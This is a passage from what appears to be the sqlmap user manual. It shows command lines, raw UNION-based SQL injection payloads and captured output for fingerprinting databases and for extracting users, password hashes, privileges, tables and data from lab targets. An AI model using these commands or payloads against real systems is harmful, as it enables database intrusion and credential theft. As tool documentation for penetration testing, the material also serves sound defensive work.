blind SQL injection and exploitable full inband SQL injection
vulnerabilities.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
--union-use --current-user
[...]
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
injection vulnerability
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
NULL# AND 8032=8032
[hh:mm:29] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
%208032=8032 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 194
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
</table>
</body></html>
[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
current user: 'testuser@localhost'
As you can see, the MySQL CURRENT_USER() function (--current-user)
output is nested, inband, within the HTTP response page, this makes the
inband SQL injection exploited.
In case the inband SQL injection is not fully exploitable, sqlmap will
check if it is partially exploitable: this occurs if the query output
is not parsed within a for, or similar, cycle but only the first
entry is displayed in the page content.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
--union-use --dbs
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:56] [INFO] fetching database names
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
vulnerability
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
FROM information_schema.SCHEMATA# AND 1062=1062
[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] privatedb
[*] testdb
As you can see, sqlmap identified that the parameter is affected by a
partial inband SQL injection. Consequently, it counted the number of query
output entries and retrieved them once per time. It forces the parameter
(id) value 1 to its negative value -1 so that
it does not return, presumibly, any output. That leaves our own UNION ALL
SELECT statement to produce one entry at a time and display only it in
the page content.
Options: -f or --fingerprint
By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.
After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
[...]
[hh:mm:17] [INFO] testing MySQL
[hh:mm:17] [INFO] confirming MySQL
[hh:mm:17] [INFO] retrieved: 5
[hh:mm:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.
If you want to perform an extensive database management system fingerprint
based on various techniques like specific SQL dialects and inband error
messages, you can provide the --fingerprint option.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:49] [INFO] testing MySQL
[hh:mm:49] [INFO] confirming MySQL
[hh:mm:49] [INFO] retrieved: 3
[hh:mm:49] [INFO] the back-end DBMS is MySQL
[hh:mm:49] [INFO] retrieved:
[hh:mm:49] [INFO] retrieved:
[hh:mm:49] [INFO] retrieved: t
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.67
html error message fingerprint: MySQL
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
[hh:mm:38] [INFO] testing Oracle
[hh:mm:38] [INFO] confirming Oracle
[hh:mm:38] [INFO] the back-end DBMS is Oracle
[hh:mm:38] [INFO] retrieved: 10
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Oracle 10g
html error message fingerprint: Oracle
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
[hh:mm:14] [INFO] testing PostgreSQL
[hh:mm:14] [INFO] confirming PostgreSQL
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
[hh:mm:14] [INFO] retrieved: 2
[hh:mm:14] [INFO] retrieved:
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
html error message fingerprint: PostgreSQL
As you can see from the last example, sqlmap first tested for MySQL,
then for Oracle, then for PostgreSQL since the user did not forced the
back-end database management system name with option --dbms.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
html error message fingerprint: Microsoft SQL Server
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
html error message fingerprint: Microsoft SQL Server
If you want an even more accurate result, based also on banner parsing,
you can also provide the -b or --banner option.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b
[...]
[hh:mm:04] [INFO] testing MySQL
[hh:mm:04] [INFO] confirming MySQL
[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:04] [INFO] retrieved: 0
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:04] [INFO] the back-end DBMS is MySQL
[hh:mm:04] [DEBUG] query: VERSION()
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:05] [INFO] retrieved:
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
[hh:mm:05] [INFO] retrieved:
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
[hh:mm:05] [INFO] retrieved: t
[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.67
banner parsing fingerprint: MySQL 5.0.67
html error message fingerprint: MySQL
[...]
As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b
[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:03] [DEBUG] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Windows 2000 Service Pack 4
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
version 8.00.194
html error message fingerprint: Microsoft SQL Server
[...]
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [DEBUG] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS operating system: Windows 2003 Service Pack 1
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
version 9.00.1399
html error message fingerprint: Microsoft SQL Server
[...]
As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
Option: -b or --banner
Most of the modern database management systems have a function and/or
an environment variable which returns details on the database management
system version. Also, sometimes it returns the operating system version
where the daemon has been compiled on, the operating system architecture,
and its service pack. Usually the function is version() and the
environment variable @@version.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0
banner: '5.0.67-0ubuntu6'
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0
banner:
---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
---
Option: --current-user
It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.
Example on a MySQL 5.0.67 target:
python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
current user: 'testuser@localhost'
Option: --current-db
It is possible to retrieve the database management system's database the web application is connected to.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
current database: 'master'
Option: --is-dba
It is possible to detect if the current database management system session user is a database administrator.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2
[...]
back-end DBMS: PostgreSQL
[hh:mm:49] [INFO] testing if current user is DBA
[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
current user is DBA: 'True'
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2
[...]
back-end DBMS: Oracle
[hh:mm:57] [INFO] testing if current user is DBA
[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
THEN 1 ELSE 0 END) FROM DUAL
[hh:mm:58] [INFO] retrieved: 1
[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
current user is DBA: 'True'
Option: --users
It is possible to enumerate the list of database management system users.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0
database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
Options: --passwords and -U
It is possible to enumerate the password hashes for each database management system user.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
[*] debian-sys-maint [1]:
password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
[*] root [1]:
password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
[*] testuser [1]:
password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
You can also provide the -U option to specify the user who you
want to enumerate the password hashes.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
-U sa -v 0
database management system users password hashes:
[*] sa [1]:
password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
ba9930b62ee5d506955
header: 0x0100
salt: 0a16d704
mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.
If you provide CU as username it will consider it as an alias for
current user and will retrieve the password hashes for this user.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
-U CU -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:48] [INFO] fetching current user
[hh:mm:48] [INFO] retrieved: postgres
[hh:mm:49] [INFO] fetching database users password hashes for current user
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96034b72d0bba108afe96c1e7
Options: --privileges and -U
It is possible to enumerate the privileges for each database management system user.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
privilege: CTXAPP
privilege: RESOURCE
[*] DBSNMP [1]:
privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
privilege: CONNECT
privilege: DBA
privilege: RESOURCE
privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
privilege: CONNECT
privilege: RESOURCE
[*] HR (administrator) [3]:
privilege: CONNECT
privilege: DBA
privilege: RESOURCE
[*] MDSYS [2]:
privilege: CONNECT
privilege: RESOURCE
[*] OUTLN [1]:
privilege: RESOURCE
[*] SYS (administrator) [22]:
privilege: AQ_ADMINISTRATOR_ROLE
privilege: AQ_USER_ROLE
privilege: AUTHENTICATEDUSER
privilege: CONNECT
privilege: CTXAPP
privilege: DBA
privilege: DELETE_CATALOG_ROLE
privilege: EXECUTE_CATALOG_ROLE
privilege: EXP_FULL_DATABASE
privilege: GATHER_SYSTEM_STATISTICS
privilege: HS_ADMIN_ROLE
privilege: IMP_FULL_DATABASE
privilege: LOGSTDBY_ADMINISTRATOR
privilege: OEM_ADVISOR
privilege: OEM_MONITOR
privilege: PLUSTRACE
privilege: RECOVERY_CATALOG_OWNER
privilege: RESOURCE
privilege: SCHEDULER_ADMIN
privilege: SELECT_CATALOG_ROLE
privilege: XDBADMIN
privilege: XDBWEBSERVICES
[*] SYSTEM (administrator) [2]:
privilege: AQ_ADMINISTRATOR_ROLE
privilege: DBA
[*] TSMSYS [1]:
privilege: RESOURCE
[*] XDB [2]:
privilege: CTXAPP
privilege: RESOURCE
You can also provide the -U option to specify the user who you
want to enumerate the privileges.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
-U postgres -v 0
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and shows this information next to the username.
If you provide CU as username it will consider it as an alias for
current user and will enumerate the privileges for this user.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
-U CU -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:25] [INFO] fetching current user
[hh:mm:25] [INFO] retrieved: postgres
[hh:mm:25] [INFO] fetching database users privileges for current user
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] retrieved: 1
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
Note that this feature is not available if the back-end database management system is Microsoft SQL Server.
Option: --dbs
It is possible to enumerate the list of databases.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
Note that this feature is not available if the back-end database management system is Oracle.
Options: --tables and -D
It is possible to enumerate the list of tables for all database management system's databases.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0
Database: testdb
[1 table]
+---------------------------------------+
| users |
+---------------------------------------+
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS |
| COLUMN_PRIVILEGES |
| COLUMNS |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMA_PRIVILEGES |
| SCHEMATA |
| STATISTICS |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: mysql
[17 tables]
+---------------------------------------+
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
You can also provide the -D option to specify the database
that you want to enumerate the tables.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
-D testdb -v 0
Database: testdb
[1 table]
+---------------------------------------+
| users |
+---------------------------------------+
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
-D users -v 0
Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS |
| EMPLOYEES |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY |
| JOBS |
| LOCATIONS |
| REGIONS |
| USERS |
+-------------------+
Note that on Oracle you have to provide the TABLESPACE_NAME
instead of the database name. In provided example users was
used to retrieve all tables owned by an Oracle database management
system user.
Options: --columns, -C, -T and -D
It is possible to enumerate the list of columns for a specific database
table.
This functionality depends on the option -T to specify the table name
and optionally on -D to specify the database name.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -D testdb -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] retrieved: 3
[hh:mm:20] [INFO] retrieved: id
[hh:mm:20] [INFO] retrieved: int(11)
[hh:mm:21] [INFO] retrieved: name
[hh:mm:21] [INFO] retrieved: varchar(500)
[hh:mm:21] [INFO] retrieved: surname
[hh:mm:21] [INFO] retrieved: varchar(1000)
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
-T users -D master -v 0
Database: master
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | int |
| name | varchar |
| surname | varchar |
+---------+---------+
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
-T users -D public -v 0
Database: public
Table: users
[3 columns]
+---------+--------+
| Column | Type |
+---------+--------+
| id | int4 |
| name | bpchar |
| surname | bpchar |
+---------+--------+
Note that on PostgreSQL you have to provide public or the
name of a system database. That's because it is not possible to enumerate
other databases tables, only the tables under the schema that the web
application's user is connected to, which is always public.
If the database name is not specified, the current database name is used.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:45] [INFO] fetching current database
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:45] [INFO] retrieved: 3
[hh:mm:45] [INFO] retrieved: id
[hh:mm:45] [INFO] retrieved: int(11)
[hh:mm:46] [INFO] retrieved: name
[hh:mm:46] [INFO] retrieved: varchar(500)
[hh:mm:46] [INFO] retrieved: surname
[hh:mm:46] [INFO] retrieved: varchar(1000)
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
You can also provide the -C option to specify the table columns
name like the one you provided to be enumerated.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -C name -v 1
[...]
[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:20] [INFO] fetching current database
[hh:mm:20] [INFO] retrieved: testdb
[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] retrieved: 2
[hh:mm:20] [INFO] retrieved: name
[hh:mm:20] [INFO] retrieved: varchar(500)
[hh:mm:21] [INFO] retrieved: surname
[hh:mm:21] [INFO] retrieved: varchar(1000)
Database: testdb
Table: users
[2 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
Options: --dump, -C, -T, -D,
--start, --stop, --first
and --last
It is possible to dump table entries.
This functionality depends on the option -T to specify the table
name or on the option -C to specify the column name and,
optionally on -D to specify the database name.
If the table name is specified, but the database name is not, the current database name is used.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
-T users -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current
database to dump table 'users' entries
[hh:mm:41] [INFO] fetching current database
[hh:mm:41] [INFO] retrieved: testdb
[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:41] [INFO] retrieved: 3
[hh:mm:41] [INFO] retrieved: id
[hh:mm:41] [INFO] retrieved: name
